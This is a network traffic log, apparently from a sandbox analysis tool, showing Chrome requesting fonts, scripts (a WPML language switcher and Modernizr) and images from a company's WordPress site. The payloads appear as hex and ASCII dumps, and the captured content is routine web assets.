Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49745	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	703	OUT	GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/font/fontello.woff?96939179 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.twbcompany.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:35 GMT Accept-Ranges: bytes Content-Length: 8800 Content-Type: font/woff
2024-10-07 12:10:14 UTC	7960	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 22 60 00 0e 00 00 00 00 33 d0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 44 00 00 00 44 00 00 00 56 3e 28 48 d7 63 6d 61 70 00 00 01 88 00 00 00 3a 00 00 01 4a d0 40 19 b7 63 76 74 20 00 00 01 c4 00 00 00 0a 00 00 00 0a 00 00 00 00 66 70 67 6d 00 00 01 d0 00 00 05 94 00 00 0b 70 88 90 90 59 67 61 73 70 00 00 07 64 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 07 6c 00 00 16 70 00 00 1e d0 ea e2 59 dc 68 65 61 64 00 00 1d dc 00 00 00 35 00 00 00 36 07 13 ef d3 68 68 65 61 00 00 1e 14 00 00 00 20 00 00 00 24 08 1b 03 f8 68 6d 74 78 00 00 1e 34 00 00 00 6c 00 00 00 c4 94 d1 00 00 6c 6f 63 61 00 00 1e a0 00 00 00 64 00 00 00 64 a1 4c a7 e6 6d 61 78 70 00 00 1f 04 00 00 00 Data Ascii: wOFF"`3OS/2DDV>(Hcmap:J@cvt fpgmpYgaspdglyflpYhead56hhea $hmtx4llocaddLmaxp
2024-10-07 12:10:14 UTC	840	IN	Data Raw: 00 73 00 00 00 34 0b 70 00 00 00 00 78 9c 75 91 cd 4a c3 40 14 46 bf 69 6b d5 16 54 14 dc 7a 57 52 11 d3 1f e8 46 10 0a 95 ba d1 4d 91 6e 25 8d 69 92 92 66 ca 64 5a e8 6b f8 0e 3e 8c 2f e1 b3 f8 35 9d 8a b4 98 90 cc b9 67 ee dc b9 99 00 38 c7 37 14 36 57 97 cf 86 15 8e 18 6d b8 84 43 3c 38 2e d3 3f 3a ae 90 9f 1d 1f a0 8e 57 c7 55 fa 37 c7 35 dc 22 72 5c c7 05 3e 58 41 55 8e 19 4d f1 e9 58 e1 4c 9d 3a 2e e1 44 5d 39 2e d3 df 39 ae 90 1f 1c 1f e0 52 bd 38 ae d2 07 8e 6b 18 a9 dc 71 1d d7 ea ab af e7 2b 93 44 b1 95 46 ff 46 3a ad 76 57 c6 2b d1 54 49 e6 a7 e2 2f 6c ac 4d 2e 3d 99 e8 cc 86 69 aa bd 40 cf b6 3c 0c a3 45 ea 9b 6d b8 1d 47 a1 c9 13 9d 49 db 6b 6d d5 53 98 85 c6 b7 e1 fb ba 7a be 8c 3a d6 4e 64 62 f4 4c 06 2e 43 e6 46 4f c3 c0 7a b1 b5 f3 fb 66 Data Ascii: s4pxuJ@FikTzWRFMn%ifdZk>/5g876WmC<8.?:WU75"r\>XAUMXL:.D]9.9R8kq+DFF:vW+TI/lM.=i@<EmGIkmSz:NdbL.CFOzf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49746	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	411	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 06 Feb 2024 14:31:02 GMT Accept-Ranges: bytes Content-Length: 713 Content-Type: image/svg+xml
2024-10-07 12:10:14 UTC	713	IN	Data Raw: 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 0a 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 0a 09 3c 67 20 69 64 3d 22 4c 61 79 65 72 5f 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 30 33 33 36 36 22 20 64 3d 22 4d 30 2c 30 68 31 31 30 2e Data Ascii: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve"><g id="Layer_2"><path fill="#003366" d="M0,0h110.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49747	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	457	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 409 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:14 UTC	409	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 50 4d 4c 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 44 72 6f 70 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 29 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 26 26 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 21 31 7d 72 65 74 75 72 6e 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 61 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 69 74 65 6d 2d 74 6f 67 67 6c 65 Data Ascii: "use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49748	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	399	OUT	GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 13380 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:14 UTC	7923	IN	Data Raw: 2f 2a 20 4d 6f 64 65 72 6e 69 7a 72 20 32 2e 38 2e 33 20 28 43 75 73 74 6f 6d 20 42 75 69 6c 64 29 20 7c 20 4d 49 54 20 26 20 42 53 44 0a 20 2a 20 42 75 69 6c 64 3a 20 68 74 74 70 3a 2f 2f 6d 6f 64 65 72 6e 69 7a 72 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 23 2d 66 6f 6e 74 66 61 63 65 2d 62 61 63 6b 67 72 6f 75 6e 64 73 69 7a 65 2d 62 6f 72 64 65 72 69 6d 61 67 65 2d 62 6f 72 64 65 72 72 61 64 69 75 73 2d 62 6f 78 73 68 61 64 6f 77 2d 66 6c 65 78 62 6f 78 2d 66 6c 65 78 62 6f 78 6c 65 67 61 63 79 2d 68 73 6c 61 2d 6d 75 6c 74 69 70 6c 65 62 67 73 2d 6f 70 61 63 69 74 79 2d 72 67 62 61 2d 74 65 78 74 73 68 61 64 6f 77 2d 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 2d 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 65 6e 65 72 61 74 65 64 63 6f 6e 74 65 6e 74 2d 63 73 73 Data Ascii: /* Modernizr 2.8.3 (Custom Build) \| MIT & BSD * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-css
2024-10-07 12:10:14 UTC	5457	IN	Data Raw: 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 66 2e 63 6c 6f 6e 65 4e 6f 64 65 28 29 2c 63 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 3b 68 2e 73 68 69 76 4d 65 74 68 6f 64 73 26 26 28 22 2b 6d 28 29 2e 6a 6f 69 6e 28 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 77 5c 2d 5d 2b 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 2e 63 72 65 61 74 65 45 6c 65 6d 28 61 29 2c 62 2e 66 72 61 67 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 27 63 28 22 27 2b 61 2b 27 22 29 27 7d 29 2b 22 29 3b 72 65 74 75 72 6e 20 6e 7d 22 29 28 73 2c 62 2e 66 72 61 67 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 61 7c 7c 28 61 3d 62 29 3b 76 61 72 20 63 3d 6e 28 61 29 3b 72 65 74 75 72 6e 20 73 2e 73 68 69 76 43 53 53 26 26 21 67 26 26 21 63 2e 68 61 73 43 53 Data Ascii: ion(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a\|\|(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49751	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	720	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:01 GMT Accept-Ranges: bytes Content-Length: 4132 Content-Type: image/png
2024-10-07 12:10:14 UTC	4132	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 16 00 00 01 90 08 06 00 00 00 aa 2a 90 4a 00 00 0a 43 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 77 58 93 f7 16 3e df f7 65 0f 56 42 d8 f0 b1 97 6c 81 00 22 23 ac 08 c8 10 59 a2 10 92 00 61 84 10 12 40 c5 85 88 0a 56 14 15 11 9c 48 55 c4 82 d5 0a 48 9d 88 e2 a0 28 b8 67 41 8a 88 5a 8b 55 5c 38 ee 1f dc a7 b5 7d 7a ef ed ed fb d7 fb bc e7 9c e7 fc ce 79 cf 0f 80 11 12 26 91 e6 a2 6a 00 39 52 85 3c 3a d8 1f 8f 4f 48 c4 c9 bd 80 02 15 48 e0 04 20 10 e6 cb c2 67 05 c5 00 00 f0 03 79 78 7e 74 b0 3f fc 01 af 6f 00 02 00 70 d5 2e 24 12 c7 e1 ff 83 ba 50 26 57 00 20 91 00 e0 22 12 e7 0b 01 90 52 00 c8 2e 54 c8 14 00 c8 18 00 b0 53 b3 64 0a 00 94 00 00 6c 79 7c 42 22 00 aa 0d 00 ec f4 49 Data Ascii: PNGIHDR*JCiCCPICC profilexSwX>eVBl"#Ya@VHUH(gAZU\8}zy&j9R<:OHH gyx~t?op.$P&W "R.TSdly\|B"I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49750	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	643	OUT	GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 23 Aug 2017 16:09:38 GMT Accept-Ranges: bytes Content-Length: 3824757 Content-Type: image/jpeg
2024-10-07 12:10:14 UTC	7956	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 f0 00 f0 00 00 ff e1 22 ea 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 09 01 0f 00 02 00 00 00 06 00 00 00 7a 01 10 00 02 00 00 00 0d 00 00 00 80 01 1a 00 05 00 00 00 01 00 00 00 8e 01 1b 00 05 00 00 00 01 00 00 00 96 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 28 00 00 00 9e 01 32 00 02 00 00 00 14 00 00 00 c6 01 3b 00 02 00 00 00 12 00 00 00 da 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 02 e4 43 61 6e 6f 6e 00 43 61 6e 6f 6e 20 45 4f 53 20 35 44 00 00 00 00 00 f0 00 00 00 01 00 00 00 f0 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 4c 69 67 68 74 72 6f 6f 6d 20 34 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 31 32 3a 30 37 3a 30 39 20 32 30 3a 34 30 3a 35 39 00 50 72 61 74 65 72 50 Data Ascii: JFIF"ExifMM*z(1(2;iCanonCanon EOS 5DAdobe Photoshop Lightroom 4.0 (Windows)2012:07:09 20:40:59PraterP
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: e7 de b3 a9 88 e6 8a bf 41 d2 c3 a8 36 97 53 7a eb c2 d2 e9 81 2e ae 5c 3c 83 1c a0 f9 55 b3 8c 7e 5d 09 eb e8 b9 22 b1 b5 3d 36 3b 88 cc a3 6c 4c ab 9d fd 06 3d 4e 7d ab 44 c9 68 c6 b2 b1 92 f3 25 49 58 40 e5 c0 c1 3f 4f 4f f3 e9 4e 77 50 e7 4f d3 d4 49 2e 79 7c fc a3 dc 9a 87 2e 69 79 22 d4 79 63 ea 6a e9 9a 11 2c b2 cc 77 4d d3 7f 38 1e cb fe 7b d6 b4 d0 88 10 22 9e 9d 43 75 3e df e7 da b1 94 b9 a4 5c 55 91 42 66 2c 77 33 e3 03 95 1d ba f6 ff 00 3d 2b 35 ee 21 c8 f2 8e d6 db fd ee 4f af e1 56 95 c4 c8 b0 ef f7 be f0 3c 93 eb 52 c7 02 c4 b8 dc 4b 13 b8 f1 c7 4a 6d f6 04 8f 5b 2d a0 78 3e d9 64 9d d2 e6 ec 1f 95 d9 79 ce 72 36 ae 4e 08 c7 5e bd 6b 87 d6 fc 4e fe 28 be fb 1d e5 be db 59 63 64 41 d5 83 1c 60 f7 19 ce 31 e9 d6 94 e5 1a 6b 91 6e 28 45 cd f3 Data Ascii: A6Sz.\<U~]"=6;lL=N}Dh%IX@?OONwPOI.y\|.iy"ycj,wM8{"Cu>\UBf,w3=+5!OV<RKJm[-x>dyr6N^kN(YcdA`1kn(E
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: fe 77 03 89 39 62 87 ab 21 e3 23 e9 e2 52 59 af 35 24 30 c1 0b 08 db 65 7a f1 00 6f f6 54 7c 4d d3 ed 3f c3 96 78 58 b0 ef 23 c5 36 83 a9 cd 9f 68 8e 18 25 da bc 0b a3 69 b2 cf 10 92 6b 94 2a e0 46 d4 8c 73 6e 3c a8 3e de f4 aa a9 ff 00 65 99 38 b2 4f 24 e2 24 38 21 fc 3c 5f d1 ff 00 72 e2 e4 c3 08 63 91 04 ce 7f d1 fc 7a 90 82 d6 fb 52 d2 a2 d0 ad 2e 29 72 ea b2 12 b2 32 db ca 14 ec 5b a9 7f 83 e1 65 71 f6 f3 2b 19 31 c8 4d fa 78 bf 43 8f 9a a5 8e 3b 7a b8 7f dc ff 00 c7 52 7d 43 c9 3e 6d b6 e2 b7 10 23 a2 ec 19 65 4a 00 3d 98 83 f8 66 58 cf 1b 70 4e 09 10 bf 44 d3 ae e2 b9 11 58 06 bc b9 7a ac ed 17 f7 2a 87 af c6 69 c8 ff 00 95 f6 72 8d 5e 58 78 7e bf 4c 7f a4 e4 68 b1 cc 64 1c 17 29 33 8b 56 b4 8a 7b 48 ef e4 8a 6d 45 36 f4 54 f3 8e 80 1f b5 5e bf f3 Data Ascii: w9b!#RY5$0ezoT\|M?xX#6h%ikFsn<>e8O$$8!<_rczR.)r2[eq+1MxC;zR}C>m#eJ=fXpNDXzir^Xx~Lhd)3V{HmE6T^
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: f1 64 a5 a9 6b 0b 18 24 b5 17 b2 e2 b6 c2 bc c5 e6 68 c4 4e 39 50 11 80 95 0f 32 d6 fc d4 d2 d4 72 df 70 df 3c a0 cd b4 45 87 6a 1a 9b 4e 92 46 e7 92 b8 2a c0 f8 1c a8 c9 98 8b c7 ee 62 f4 6e 65 8b fd f6 ec a3 e8 34 cc e8 9b 16 d0 42 98 a6 49 0d 50 f6 c0 aa a9 15 41 3d c7 40 7a 61 0c 4c 9f ff d4 e7 89 02 ac ac 5c fe f4 fd 90 7b 0f 6c d2 90 ec 02 f8 d8 a4 85 d5 ca a1 f8 65 0a 01 ac 67 ed 28 07 63 94 e6 c5 c7 1a ad ff 00 87 fa cc e1 3a 36 86 bb b2 6b 16 30 4c e5 e1 d9 ad a5 0d 56 78 cf f7 64 9f 16 51 5f f5 b9 66 36 9b 38 91 e5 cf d3 38 ff 00 4b f8 bf d9 36 64 81 03 fd ca 84 b3 c9 6d 24 3a 84 67 83 db 90 93 30 fe 42 d5 57 ff 00 60 d4 3f ea e4 e5 8a ef 19 fe 2f a7 f1 fd 38 fa 7f ac 8e 3e 52 ee 4e 75 07 e6 d1 5c c4 42 c7 74 0b 04 1b d1 c6 d2 2f d0 d9 2d 06 4b Data Ascii: dk$hN9P2rp<EjNF*bne4BIPA=@zaL\{leg(c:6k0LVxdQ_f688K6dm$:g0BW`?/8>RNu\Bt/-K
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 00 00 2c 52 65 66 65 72 65 6e 63 65 20 56 69 65 77 69 6e 67 20 43 6f 6e 64 69 74 69 6f 6e 20 69 6e 20 49 45 43 36 31 39 36 36 2d 32 2e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 69 65 77 00 00 00 00 00 13 a4 fe 00 14 5f 2e 00 10 cf 14 00 03 ed cc 00 04 13 0b 00 03 5c 9e 00 00 00 01 58 59 5a 20 00 00 00 00 00 4c 09 56 00 50 00 00 00 57 1f e7 6d 65 61 73 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8f 00 00 00 02 73 69 67 20 00 00 00 00 43 52 54 20 63 75 72 76 00 00 00 00 00 00 04 00 00 00 00 05 00 0a 00 0f 00 14 00 19 00 1e 00 23 00 28 00 2d 00 32 00 37 00 3b 00 40 00 45 00 4a 00 4f 00 54 00 59 00 5e 00 63 00 68 00 6d 00 72 00 77 00 7c 00 81 00 86 00 8b 00 90 00 95 00 9a 00 9f 00 Data Ascii: ,Reference Viewing Condition in IEC61966-2.1view_.\XYZ LVPWmeassig CRT curv#(-27;@EJOTY^chmrw\|
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 72 65 65 6e 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c 2f 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 47 72 65 65 6e 3e 0d 0a 09 09 09 3c 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 42 6c 75 65 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c Data Ascii: reen><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq></crs:ToneCurvePV2012Green><crs:ToneCurvePV2012Blue><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq><
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 70 49 ec 0e 00 c5 79 4f 8f fc 2c de 1c f1 6a 47 34 6c d6 f7 0c 1d 59 06 ed c8 7b 0c fa 7f 9e b5 f7 99 0e 22 18 8a 32 c3 d4 fe bb 9f 2d 9c 53 9c 2b 2a b0 db bf 9f 43 ba ba fd b1 b5 0b 0f 08 da db db 59 db c3 24 29 b1 e2 48 c2 ab 80 00 3c 75 e7 19 ce 7a d7 d2 df b3 b6 a5 a8 f8 af f6 5a 5f 14 db 5e ad ae af e1 8b d5 b9 8a 54 90 ac ae 8c 5b cc 8c 73 ce 53 38 1e 8b ef 5f 3a c3 fb 36 df 7e d1 be 19 d6 3c 61 6f 79 e1 cd 16 1d 11 0c 50 d8 c5 fb b9 af 9a 35 dd f2 c4 38 5c 8f a6 4f 41 c5 7d 25 fb 19 fc 26 d3 6d 3f 66 8d 67 59 bc fb 55 c3 c7 01 02 2f 3f 2b 1b 3a 95 56 d9 d0 60 67 9e b5 ef 78 71 c1 f8 2c 0e 6d 2a b8 58 2d 9d a5 d7 56 7c f7 1c 67 53 a9 94 ce 8d 69 eb a5 d5 fc ae 8f 88 7f 68 4d 75 7c 61 e2 6b db ed d2 2a cd 23 1f 94 76 3c 72 3f 03 5c 4f c3 0f 11 c9 e1 Data Ascii: pIyO,jG4lY{"2-S+CY$)H<uzZ_^T[sS8_:6~<aoyP58\OA}%&m?fgYU/?+:V`gxq,mX-V\|gSihMu\|ak*#v<r?\O
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 90 c7 b5 a5 da 0e 39 c9 cf 24 8f 70 a2 a6 d2 7c 67 1d cc 1e 6d 9c 77 1a a5 e3 4b 10 89 59 70 90 b6 d2 70 4e 31 dc f4 39 c0 15 cd eb 1a 6d fc 9e 3d 86 6b e7 da 9a 8c 6d 12 08 dc a8 2c 4e 42 fc bc 75 18 27 1d 0f b5 2f 66 f9 5c 64 6c e6 93 56 3b 4b 1f 1c 49 a2 c8 b1 69 f6 73 5d bd d4 5b 6e 25 6d a3 cc 45 0a 48 58 cb 1f e2 c1 c9 1d b8 ae 46 d4 f8 8b 5c f2 b5 05 5b cb a6 d3 64 dc 1a 24 ca c3 82 54 e1 7a f2 30 3d 07 bd 77 16 5a 5c 7a 3c cb e4 e7 16 fb 58 9f bc 41 19 e0 1e fd bb f6 ae 67 52 f8 9f ab 7c 04 f1 05 d5 c6 97 79 0c 2d 23 32 c8 93 c7 b9 2e 11 81 20 11 c6 47 2d c7 5c d7 cf d6 ca 30 b5 2b 3a d2 8e b2 56 6f bd 97 f4 8b ab 8c ad 08 f2 c5 ed d0 fa 73 c2 3e 35 8f c6 5e 0a d1 35 ed 3e e9 3c c4 d9 1c aa 17 6b 26 31 95 fc 33 d3 9e 2b d1 be 29 68 b1 f8 db e1 a4 Data Ascii: 9$p\|gmwKYppN19m=km,NBu'/f\dlV;KIis][n%mEHXF\[d$Tz0=wZ\z<XAgR\|y-#2. G-\0+:Vos>5^5><k&13+)h
